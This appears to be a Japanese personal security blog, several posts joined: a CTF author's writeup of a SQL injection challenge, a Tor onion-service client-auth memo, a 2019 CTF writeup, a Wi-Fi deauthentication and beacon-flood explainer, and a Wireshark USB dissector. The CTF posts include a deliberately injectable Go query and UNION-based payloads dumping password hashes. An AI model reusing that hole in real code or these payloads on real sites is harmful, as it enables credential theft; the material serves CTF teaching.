初めて外部のCTFで作問をした話

この記事はIPFactory Advent Calendar 2020の16日目の記事です。

今回初めて仙台CTF 2020という外部のCTFでWeb問題の作問をさせていただいたので、作問者視点でのWriteup含め色々書きます。

仙台CTFについて

仙台CTFとは、仙台CTF推進プロジェクトという団体が主催するCTF大会です。 で、この仙台CTF推進プロジェクトはどういう団体かというと、公式には以下のように記載があります。

仙台CTF推進プロジェクト(以下、本会という)は、実務に活かせるサイバーセキュリティ分野の技術をテーマとしたスキルアップ・イベントを開催し、産学連携により、地域におけるサイバーセキュリティ人材の育成と相互交流を活性化させることで、サイバー攻撃による被害低減を図り、地域社会への貢献を目指すことを目的に設立された任意団体です。

詳細は以下に。
https://www.sendai-ctf.org/about-us/about-sendai-ctf/

仙台を中心に東北地域のサイバーセキュリティ人材の育成や、地域での界隈を盛り上げようと社会貢献をしている団体ですね。 仙台CTF推進プロジェクトが運営している大会としては3回目の開催であり、全身の仙台CTF実行委員会が運営していた仙台CTFを含めると4回目の開催です。

この仙台CTFは、他のCTFではほとんど見たことの無い制御セキュリティの問題があり、前回は大会会場で、今回はオンラインで実際に動いている制御機器を用いるというような珍しい問題が出るのも特徴的です。

作問をするにあたって

の前に、なぜ今回作問をするに至ったかについて。

そもそもなぜ私が作問をさせていただいたかというと、仙台CTF推進プロジェクトの前身である仙台CTF実行委員会が運営を行っていた仙台CTFから3年連続で大会に出ていて、そこで知りあったスタッフの方からお話をいただいたという経緯がありました。

作問をするにあたって、何のジャンルでどの程度の難易度を想定して作問するのかを悩みましたが、昨年までの仙台CTFではWeb問題が無く、私自身がWeb問題が欲しかったなという思いがあったので、Web問題を担当させていただくことになりました。
難易度については、connpassに記載されていた、「情報セキュリティ技術に興味があり、これから学習を始めてみたい社会人や学生など」という対象を参考に難易度を決めました。

問題について

Web2のEasy Injectionですが、想定解から言うと、UNION句を用いたSQL Injectionを行うというような問題でした。

問題文はこちら

[背景] ・株式会社仙台シーテーエフでは、新人セキュリティ担当の教育のため、先輩社員が脆弱性のあるウェブサイトを構築し、セキュリティ診断させることとしました。 ・さて、本日の教育メニューは・・・?
[問題] ・練習用ウェブサイトでは、管理者のパスワードが脆弱な状態で保存されているようです。管理者ユーザーのパスワードを窃取できる脆弱性を探してください。

以下のWHERE is_hide = 0 AND (title LIKE '%%%s%%' OR body LIKE '%%%s%%')という部分がユーザ入力を直接受け取っており、ここにSQL文を注入していくことになります。

func (r *repository) SearchContents(q string) ([]*model.Content, error) {
    c := make([]*model.Content, 0)
    query := fmt.Sprintf("SELECT c.id, user.name, c.title, c.body, c.created_at FROM content AS c "+
        "INNER JOIN user ON c.user_id = user.id "+
        "WHERE is_hide = 0 AND (title LIKE '%%%s%%' OR body LIKE '%%%s%%') ORDER BY created_at DESC", q, q)
    err := r.db.Select(
        &c,
        query)

    return c, err
}

クライアントサイドでの注入部分は以下のコンテンツ検索部分。 f:id:somebodyN:20201216004211p:plain

シングルクォートを含む文字列を入れて検索すると、以下のようなエラーが出ます。

Error 1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'test%' OR body LIKE '%'test%') ORDER BY created_at DESC' at line 1

ここでは'ユーザ入力%' OR body LIKE '%ユーザ入力%')というようなSQL文が動いていると推測できます。 つまり、SQL文を壊さないようにSQL文を実行するには、') #といったように、)で閉じてあげることが必要になる。

次に、管理者のパスワードが格納されていそうなテーブルを探すために、スキーマが見れるか確認してみる。') UNION SELECT "" FROM information_schema.columns; #このようなSQL文を入力すると、Error 1222: The used SELECT statements have a different number of columnsというエラーが返され、カラム数を揃えれば見れそうだとわかる。カラム数を5つにすると、エラーが変わり、次のようなエラー文になる。sql: Scan error on column index 0, name "id": converting NULL to uint64 is unsupportedなので、エラー文の通りカラム1に数値を入力し、次のようなSQL文でテーブル名を確認すると、データベース内のテーブル名が出力される。') union select 0, "", "", "", table_name from information_schema.columns; #

後は、以下のようにして判明したuserテーブル内のカラム名を出す。 f:id:somebodyN:20201216011448p:plain

最後は、') union select id, name, password_hash, is_admin, created_at from user; #といった具合で管理者のパスワードハッシュを取得できる。 f:id:somebodyN:20201216011941p:plain

パスワードハッシュはぱっと見明らかに脆弱そうで、これはそのままgoogleに投げるとデハッシュされたflagが出てくる。

この問題では、アプリケーションがどのような動きをするのか、どこに脆弱性がありそうか、どんなSQL文が動いているのかを想像してほしいという意図がありました。

「現場で役立つ技術」を題材としており、CTFの競技途中で作問者による解説&ヒント提供タイムを設けるなど、初心者も気軽にご参加できるイベントとなっております。

そのため、単にシングルクォートを入力しただけでは動かないような文にしたり、色々機能をつけたりしてみました。 ただ、そこが問題としてわかりずらくなってしまった感もあります。

反省点

競技時間中に数分間サーバがダウンしてしまったことに気が付かなかったのが、やらかしポイントその1でした。 一応ログ等は取っており、サーバがダウンしたことに気付ける状態にはなっていましたが、私自身がスタッフ側の人間としてCTFに参加してしまっていたため、気づかず、他の参加者の方の報告によって判明したというような形になってしまいました。
なお、アプリケーションのエラーの原因となった箇所は、なぜかアプリケーションがめんどくさくて開発段階のままホットリロードになっていたので、その場でエクストリーム修正をしてしまいました。これも反省点ですね。 また、サーバを貸していただいていたものだったので、スケーリングその他諸々もしておらず、そこもやりたかったなという思いがあります。 今後もCTFの作問者・運営として参加させていただく機会があれば、そこら辺の死活監視やエラーの対処、スケーリング等をきちんとやりたいなぁと思っています。

やらかしポイントその2としては、私がスタッフとして競技に参加する都合上、他の方の問題や難易度感を事前に知ることが出来ず、問題の配点を盛大にミスしたことです。 自分の中では、初心者向けの100点問題かなと思っていたのですが、競技が始まると、似ている問題のWeb1の最終問題が300点になっていて、ちょっとやらかした感がありました。 また、問題に挑戦してくれた人はそれなりの人数いたのですが、最終的なSolveが1人だったので、相対的なポイントの旨味がなくてSolveまでは行ってくれなかったのかなという印象でした。
この辺は運営側の方に見ていただいて判断してもらったほうが良かったかなという感じです。

まとめ

作問をさせていただいて、かなり得られたものがあったかなという気持ちです。 作問者側の観点を学べたり社会貢献もできたので。 またこのような機会があればぜひ挑戦させていただきたいですね。

あと、今年もちょっと仙台観光をしたかったな。残念。

v3でクライアント認証を使う

Onion Services v3でクライアント認証を使う必要があったので、その時の色々をまとめたメモ。
前よりも面倒くさくなっていたので手順とか。

クライアント認証の導入について

Torでクライアント認証をしたい。
前はtorrcに設定を記入したら勝手によしなにしてくれた(ような記憶がある)が、v3はキーの生成を手動で行わなければならなそう。

とりあえずhttps://gitweb.torproject.org/torspec.git/tree/rend-spec-v3.txtを読みながらやってみる。 サーバサイドでの設定とクライアントサイドでの設定に別れていたので別個で。

サーバサイド

A hidden service that wants to enable client authorization, needs topopulate the "authorized_clients/" directory of its HiddenServiceDirdirectory with the ".auth" files of its authorized clients.

hidden_service/authorized_clients/.authファイルを置く必要がありそう。

When Tor starts up with a configured onion service, Tor checks its/authorized_clients/ directory for ".auth" files, and ifany recognized and parseable such files are found, then clientauthorization becomes activated for that service.

.authファイルが存在したら自動的にクライアント認証が有効になるらしい。

For the "descriptor" authentication type, the ".auth" file MUST containthe x25519 public key of that client. Here is a suggested file format:
<auth-type>:<key-type>:<base32-encoded-public-key>

.authは以下のような形式で書かれている必要がある。

 descriptor:x25519:<base32-encoded-public-key>

Tor SHOULD ignore lines it does not recognize.
Tor SHOULD ignore files that don't use the ".auth" suffix.

.authでないファイルや、パースできないファイルは無視される。(should)

クライアントサイド

A client who wants to register client authorization data for onion services needs to add the following line to their torrc to indicate the directory which hosts ".auth_private" files containing client-side credentials for onion services:
ClientOnionAuthDir

サーバ側に置く.authと対になる.auth_privateを<DIR>に置き、その<DIR>の場所を以下のような感じでtorrcに書く必要がある。

ClientOnionAuthDir <DIR>

The <DIR> contains a file with the suffix ".auth_private" for each onion service the client is authorized with. Tor should scan the directory for ".auth_private" files to find which onion services require client authorization from this client. For the "descriptor" auth-type, a ".auth_private" file contains the private x25519 key:
<onion-address>:descriptor:x25519:<base32-encoded-privkey>

.auth_privateはx25519の秘密鍵を含んだ以下のようなフォーマット。

<onion-address>:descriptor:x25519:<base32-encoded-privkey>

The keypair used for client authorization is created by a third party tool for which the public key needs to be transferred to the service operator in a secure out-of-band way. The third party tool SHOULD add appropriate headers to the private key file to ensure that users won't accidentally give out their private key.

サードパーティのツールでキーペアを作成する。それをセキュアなoobで渡す。

やる

やるべきことがわかったので、やる。

手順としては、

  1. クライアント側でx25519のキーペアを作成する
  2. キーをいい感じに整形する
  3. toorrcに鍵の場所を知らせる(クライアント)
  4. セキュアなoobでpubキーをサーバに渡す
  5. キーを/var/lib/tor/hidden_service/authorized_clientsに置く

でできそう。

キーペアの作成

まずはx25519のキーペアを作成する。

openssl genpkey -algorithm x25519 -out private.pem
openssl pkey -in private-key.pem -pubout -outform PEM -out public.pem

pemはbase64でデコードされてしまっているので、base32にするために一度デコードする。

cat private.pem | grep -v " PRIVATE KEY" | base64 -d | tail --bytes 32 >> raw.auth_private

rawな鍵をbase32でエンコードする。

cat raw.auth_private | base32 | sed -e "s/=//g" > base32ed.auth_private

接続先のホスト名/auth-type/key-typeを結合する。

echo -n "{{HOSTNAME}}:descriptor:x25519:" | cat - base32ed.auth_private > somebody_hs1.auth_private

pubキーも同様に作成する。

cat public.pem | \
    grep -v " PUBLIC KEY" | \
    base64 -d | \
    tail --bytes 32 > raw.auth
    cat raw.auth | \
    base32 | \
    sed -e "s/=//g" > base32ed.auth

auth-typeとkey-typeを結合する。

echo -n "descriptor:x25519:" | cat - base32ed.auth > somebody.auth

※tailで下32バイトを取り出してるのはx25519の仕様のため。https://tools.ietf.org/html/rfc7748

クライアント側での処理

先程生成した.auth_privateファイルを`/var/lib/tor/cliet_keys'あたりに置く(任意の場所で大丈夫なはず)。
そして、torrcに以下の行を追加する。

ClientOnionAuthDir /var/lib/tor/client_keys

一応念の為に書いておくと、tor browserを使用する場合は、TorBrowser/Data/Tor/torrcが使われるので、そこに追加。 変更後サービスの再起動。

sudo systemctl restart tor

サーバ側での処理

サーバ側に公開鍵を渡す。
渡された公開鍵は/var/lib/tor/hidden_service/authorrized_clientsに置く。
その後、Torの再起動。

sudo systemctl restart tor

おわり

Webサーバを使用している場合、認証されているクライアントからアクセスするとアクセスできるが、認証されていないクライアントからアクセスするとアクセスできないようになっているはず。

他の機能やネットワークフォレンジックっぽいことも書こうとしていたが、圧倒的怠惰によりこれだけの内容になってしまった。次書く機会があったら多分それをやる。 あと、間違えて一度ifdownしてしまってからなぜかAppArmorに引っかかるようになってしまったのが謎。すぐに解決しなかったから一時的に無効化してしまった(駄目)。

仙台CTF2019 Writeup

2019/11/16に仙台で開催された仙台CTF2019に参加をしてきたので、そのWriteupを書きます。 ※順次更新予定

制御システム

大人の事情でここのwriteupは詳しく書けないのですが、内容はModbus/TCPを使って制御されている機器のhack。
プロトコルの仕様は公開されているので、知らなくてもそれを読んで頑張る系。

雑学

Tri1

[問題]
・ウェブサイトやソフトウェアなどにログインする際に「IDとパスワード」等による認証の後、必要に応じてもう1回認証を求める認証方式を○○認証という。

ググったら出てくる(ググらないでも出てくる)。flagは二段階認証

Tri2

[問題]
・某セキュリティ研究者が2019年3月にブログで発表した情報によると、台湾の某メーカー製パソコンにプリインストールされる自動更新ツールに、バックドアが仕込まれるという標的型攻撃が判明したとのことです。
・同セキュリティ研究者は、この攻撃をOperation 「○○」と名付けました。

これも有名なのでググったらすぐに出てくる(ググらないでも出てくる)。アススのLive Updateのやつです。
flagはOperation ShadowHammer

Tri3

[問題]
・某セキュリティ研究者が2019年6月にブログで発表した情報によると、RDP接続が可能な端末に対し、ブルートフォース攻撃で感染を広げるボットネットが確認されたとのことです。また、同ボットネットはすでに侵害済みと見られる150万件のホストとアカウント情報のリストを保有していたとのことです。
・同セキュリティ研究者は、このボットネットを「○○」と名付けました。

これもアレですね。ちょっと前に賑わいましたね。 flagはGoldBrute

ネットワーク/ログ解析

NL1

[問題の背景]
DMZに設置しているIDSの監視を外部に委託しています。委託先から公開Webサーバに対するSQLインジェクション攻撃を検知したとの連絡がありました。
・公開Webサーバには、データベースからデータを取得して動的にデータを更新して表示する機能があります。
・あなたは、この攻撃の影響を確認するため、調査を実施することにしました。

[問題]
・IDSが攻撃検知時に自動作成したPCAPファイルを分析し、攻撃元のIPアドレスを特定してください。

問題文の通り、配布された2つのpcapファイルから攻撃元のIPアドレスを特定する問題。
とりあえずNetworkMinerで開いてみると、以下のようにWebサーバに接続してきているクライアントが1つのみだったので、FlagはそのクライアントのIPアドレス

f:id:somebodyN:20191120100019p:plain

NL2

[問題]
・パスワードのハッシュ値の取得が成功したSQLインジェクションの攻撃コードを特定してください。
・攻撃者は、ウェブページのフォームに攻撃コードを投入しています。

apacheアクセスログmysqlログが配布されるので、そこからパスワードが抜かれたログを見つけて、そのPoCを提出する問題。
ログが少なかったので、mysqlのログ内からpasswdgrepすると、以下のように明らかにSQLiされてる箇所があった。

f:id:somebodyN:20191120120720p:plain SELECT itemnum, sdesc, ldesc, price FROM itemdb WHERE '' IN (itemnum,sdesc,ldesc)が元の文なので、そこにインジェクションされている文がflag。

NL3

[問題]
SQLインジェクションを実行した攻撃者のアカウント名(Full name) とパスワードを特定してください。

apacheログを見ると、攻撃者が攻撃の開始直前にアカウントを作成している(一行目)。

31.31.74.47 - - [11/Nov/2019:23:01:33 +0000] "POST /cgi-bin/badstore.cgi?action=register HTTP/1.1" 200 4065
31.31.74.47 - - [11/Nov/2019:23:01:33 +0000] "GET /cgi-bin/bsheader.cgi HTTP/1.1" 200 143
31.31.74.47 - - [11/Nov/2019:23:02:00 +0000] "GET /cgi-bin/badstore.cgi?searchquery=%27&action=search&x=24&y=11 HTTP/1.1" 200 487
31.31.74.47 - - [11/Nov/2019:23:03:04 +0000] "GET /cgi-bin/badstore.cgi?searchquery=a%27+%3D+%27a%27+UNION+SELECT+VERSION%28%29%2C2%2C3%2C4+%23&action=search&x=10&y=2 HTTP/1.1" 200 8173

registerをしている23:01:33mysqlログの方で見てみると、以下のようなユーザが登録されていた。

191111 23:01:33       17 Connect     root@localhost as anonymous on badstoredb
             17 Query       INSERT INTO userdb (email, passwd, pwdhint, fullname, role) VALUES ('AVGVSTVS@roma.it', '393936af6c0391ca9e00f8ee852c1205','purple', 'アウグストゥス', 'U')
             17 Quit       

以上、flagはアウグストゥス-393936af6c0391ca9e00f8ee852c1205...かと思っていたが、弾かれたので問題文をよく見直してみると"パスワード"とあった(submitしたのはハッシュ化されたパスワード)。
見た感じ16バイトだったのでとりあえずmd5で戻してみるとprimusと出てきたので、flagはアウグストゥス-primus

Deauthentication AttackとBeacon Flood Attackについて

Wifiに対する攻撃手法について調べる機会があったのですが、日本語の資料が無かったので個人的メモも兼ねて書いてみました。 そのうち別の攻撃手法について取り上げるかもしれませんが、とりあえずDeauthentication AttackとBeacon Flood Attackについてです。
どちらもIEEE 802.11プロトコルに対するDoS攻撃であり、WiFiを対象にした攻撃です。

Deauthentication Attackとは

Deauthentication Attackの前に、認証解除フレームの説明をします。IEEE 802.11プロトコルには、クライアントがAPからの切断をしたい場合、認証解除フレームを使う仕様があります。
認証解除フレームは

  1. クライアントが認証解除フレームを送信する
  2. APが認証解除フレームを受信する
  3. APが応答フレームを送信する
  4. クライアントが応答フレームを受信する

という流れで行われます。
このとき、認証解除フレームに含まれる情報はいくつかあるのですが、この通信では送信されるクライアントのMACアドレスが暗号化されず平文で通信されるという仕様があります。
Deauthentication AttackはこのクライアントのMACアドレスが暗号化されずに通信するという仕様を悪用した攻撃手法です。以下は攻撃者視点での攻撃の流れです。

  1. victimのMACアドレスを入手する
  2. victimの接続しているAPのMACアドレスを入手する
  3. victimのMACアドレスに偽装し、認証解除フレームを送信

これでvictimのAPとの接続が切断されます。

ちなみにDeauthentication Attackは直訳すると認証解除攻撃になります。

Beacon Flood Attackとは

まず、IEEE 802.11プロトコルのBeacon Frameについての軽い説明をします。
Beacon FrameはWLANの管理フレームの1つで、基本的にはAP側から送信されます。 このとき送信される情報には以下のようなものが含まれます。

  • Timestamp
  • Beacon interval
  • Capability
  • SSID elements
  • Supported rates element
  • Direct sequence (DS) parameter set element
  • Contention Free (CF) parameter set element (任意)

IEEE 802.11 WLAN - ビーコン フレーム - MATLAB & Simulink - MathWorks 日本 より引用

Beacon Flood Attackは、このWiFiのアクセスポイントを知らせるためのBeacon Frameを大量に送信する攻撃です。
これはAPを探しているクライアントに対してDoSを仕掛け、正常なAPへの接続を妨害します。APを探しているクライアントは大量のビーコンフレームを受信してしまい、偽のAPの中から正しいAPに接続することが困難になります。(BSSIDを覚えているような変態を除く)

まとめ

調べてみると意外とIEEE 802.11の仕様が面白かったりします。ちなみにDeauthentication Attackは4Way-Handshakeの盗聴につながったり、攻撃者の送信しているアクセスポイントへの接続を強制されたりと以外と危険だったりします。

WiresharkのPluginを作ってみた

はじめに

某CTFの問題で、USBのインタラプト転送のパケットをキーコード表とにらめっこしながら解くのが苦痛だったので読み込んだらフィールドに表示してくれるPlaginを作ってみました。
使用言語ですが、ささっと作りたかったのでluaでの実装です。

GitHub - somebodyN/Wireshark_Plugins

ソースコード

KEYCODE = {
    [0x00] = 0、
     ︙
    [0xE7] = "RIGHT GUI"
}


-- Create Protocol
proto = Proto("In_USB", "Interrupt-in_USB protocol")

-- Create Fields
local fields = proto.fields

fields.InputData = ProtoField.uint8("proto.data", "IN", base.HEX, KEYCODE)

function proto.dissector(buffer, pinfo, tree)
    pinfo.cols.protocol = proto.name

    local subtree = tree:add(proto, buffer(), "DATA")

    for i = 0, buffer:len()-1 do
        subtree:add(fields.InputData, buffer(i, 1))
    end
end

usb_table = DissectorTable.get("usb.interrupt")
usb_table:add(0xff, proto)
usb_table:add(0xffff, proto)

解説

内容ですが、最初に取得したデータをキーコードに変換するためのテーブルを定義しています。
そのテーブルを使い、以下の部分でHEXで取得したデータをキーコードに変換しています。

fields.InputData = ProtoField.uint8("proto.data", "IN", base.HEX, KEYCODE)

Dissectorではdata部分をすべて受け取り、1バイトづつサブツリーに追加しています。
最後にUSBのプロトコルで使用したいので

usb_table = DissectorTable.get("usb.interrupt")

でUSBのdissectorテーブルを取得して

usb_table:add(0xff, proto)
usb_table:add(0xffff, proto)

の2行で関連付けを行っています。

感想

表示が冗長なのをキレイにしたりマウス操作のインタラプト転送も勝手に変換されるのをメニューにon/offを追加して制御したりしていきたいですね。
あと意外とWiresharkプラグインを作るという記事が少なく、書くのに手こずったのでメモ代わりと誰かのためになればと思い今回記事にしてみました。

ちなみにキーコードに対応させるテーブルを書くのが面倒でまだ一部しか書いてないです。